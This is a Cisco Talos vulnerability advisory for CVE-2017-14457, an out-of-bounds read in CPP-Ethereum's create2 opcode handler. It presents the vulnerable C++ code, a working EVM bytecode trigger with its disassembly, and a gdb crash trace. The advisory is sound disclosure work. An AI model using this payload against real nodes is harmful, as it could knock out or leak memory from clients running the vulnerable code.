Talos Vulnerability Report

TALOS-2017-0503

CPP-Ethereum libevm create2 Information Leak Vulnerability

January 9, 2018
CVE Number

CVE-2017-14457

Summary

An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability. 

Tested Versions

Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768

Product URLs

http://cpp-ethereum.org

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CWE

CWE-125: Out-of-bounds Read

Details

CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the `create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine.

The create2 opcode is currently associate with Constantinople fork and its implementation looks as follows:

cpp-ethereum/libevm/VMCalls.cpp

Line 133	void VM::caseCreate()
Line 134	{
Line 135		m_bounce = &VM::interpretCases;
Line 136		m_runGas = toInt63(m_schedule->createGas);
Line 137		updateMem(memNeed(m_SP[1], m_SP[2]));
Line 138		updateIOGas();
Line 139
Line 140		auto const& endowment = m_SP[0];
Line 141		uint64_t initOff;
Line 142		uint64_t initSize;
Line 143		u256 salt;
Line 144		if (m_OP == Instruction::CREATE)
Line 145		{
Line 146			initOff = (uint64_t)m_SP[1];
Line 147			initSize = (uint64_t)m_SP[2];
Line 148		}
Line 149		else
Line 150		{
Line 151			salt = m_SP[1];
Line 152			initOff = (uint64_t)m_SP[2];
Line 153			initSize = (uint64_t)m_SP[3];
Line 154		}
Line 155
Line 156		// Clear the return data buffer. This will not free the memory.
Line 157		m_returnData.clear();
Line 158
Line 159		if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024)
Line 160		{
Line 161			*m_io_gas_p = m_io_gas;
Line 162			u256 createGas = *m_io_gas_p;
Line 163			if (!m_schedule->staticCallDepthLimit())
Line 164				createGas -= createGas / 64;
Line 165			u256 gas = createGas;
Line 166			h160 addr;
Line 167			owning_bytes_ref output;
Line 168			std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp);

In pseudo code we can represent the opcode handler as follows:

create2(endowment,salt,initOff,initSize)

Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory m_mem at the specified offset. In above code we can observe that 4th parameter initSize represents size of the new contract code, it is read directly from input at line 153 and not sanitized in any way before it is used at line 168. At line 168 we see that a new object of type bytesConstRef is created :

using bytesConstRef = vector_ref<byte const>;

libdevcore\vector_ref.h
Line 19	/**
Line 20	 * A modifiable reference to an existing object or vector in memory.
Line 21	 */
Line 22	template <class _T>
Line 23	class vector_ref
Line 24	{
		(...)
Line 33		/// Creates a new vector_ref to point to @a _count elements starting at @a _data.
Line 34		vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {}	

The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated:

Line 324	bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt)
Line 325	{
Line 326		m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes()));
Line 327		return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin);
Line 328	}	

The corrupted object in the function above is passed as an _init argument. The incorrect size of this object in that scenario can lead to: - A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function - A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory.

Example of opcodes triggering this vulnerability:

67FFFFFFFFFFFFFFFF600160006000FB

disassembling we get: 67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size initSize 60 01 PUSH 1 // initOff 60 00 PUSH 0 // salt 60 00 PUSH 0 // endowment FB CREATE2

Crash Information

Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
147     mkapply_ds(xorin, dst[i] ^= src[i])  // xorin
(gdb) peda_active 
gdb-peda$ context
[----------------------------------registers-----------------------------------]
RAX: 0xf 
RBX: 0x798a6dbc7de82679 
RCX: 0x1103ff1 --> 0x3f8000 
RDX: 0x0 
RSI: 0x8c887aede3bcb158 
RDI: 0x23fe151d7b09c153 
RBP: 0xe223193d3ce38d3f 
RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82 
RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx  edx,BYTE PTR [rcx+rax*1])
R8 : 0xb7239754a4040e21 
R9 : 0x6c253a29078ce9a7 
R10: 0xdea07427d1e5343 
R11: 0x18 
R12: 0xb22887a917e771ac 
R13: 0x82bfafeff33273bb 
R14: 0x7de51edb509fe189 
R15: 0x8c6233ed3e52b5ca
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>:    mov    rcx,QWORD PTR [rsp+0x78]
   0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>:    cmp    rax,0x87
   0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>:    ja     0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>
=> 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>:    movzx  edx,BYTE PTR [rcx+rax*1]
   0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>:    xor    BYTE PTR [rsp+rax*1+0x80],dl
   0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>:    add    rax,0x1
   0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>:    jmp    0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>
   0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>:    mov    r13d,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82 
0008| 0x7fffffffaac8 --> 0xae440eb455ebc604 
0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158 
0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d 
0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca 
0040| 0x7fffffffaae8 --> 0xb7239754a4040e21 
0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7 
0056| 0x7fffffffaaf8 --> 0x821ae124af601e76 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ bt
#0  0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147
#1  dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171
#2  dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207
#3  0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218
#4  0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40
#5  dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326
#6  0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126
#7  0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169
#8  0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207
#9  0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434
#10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320
#11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291
#12 0x0000000000413c09 in _start ()

Timeline

2017-11-03 - Vendor Disclosure
2018-01-09 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.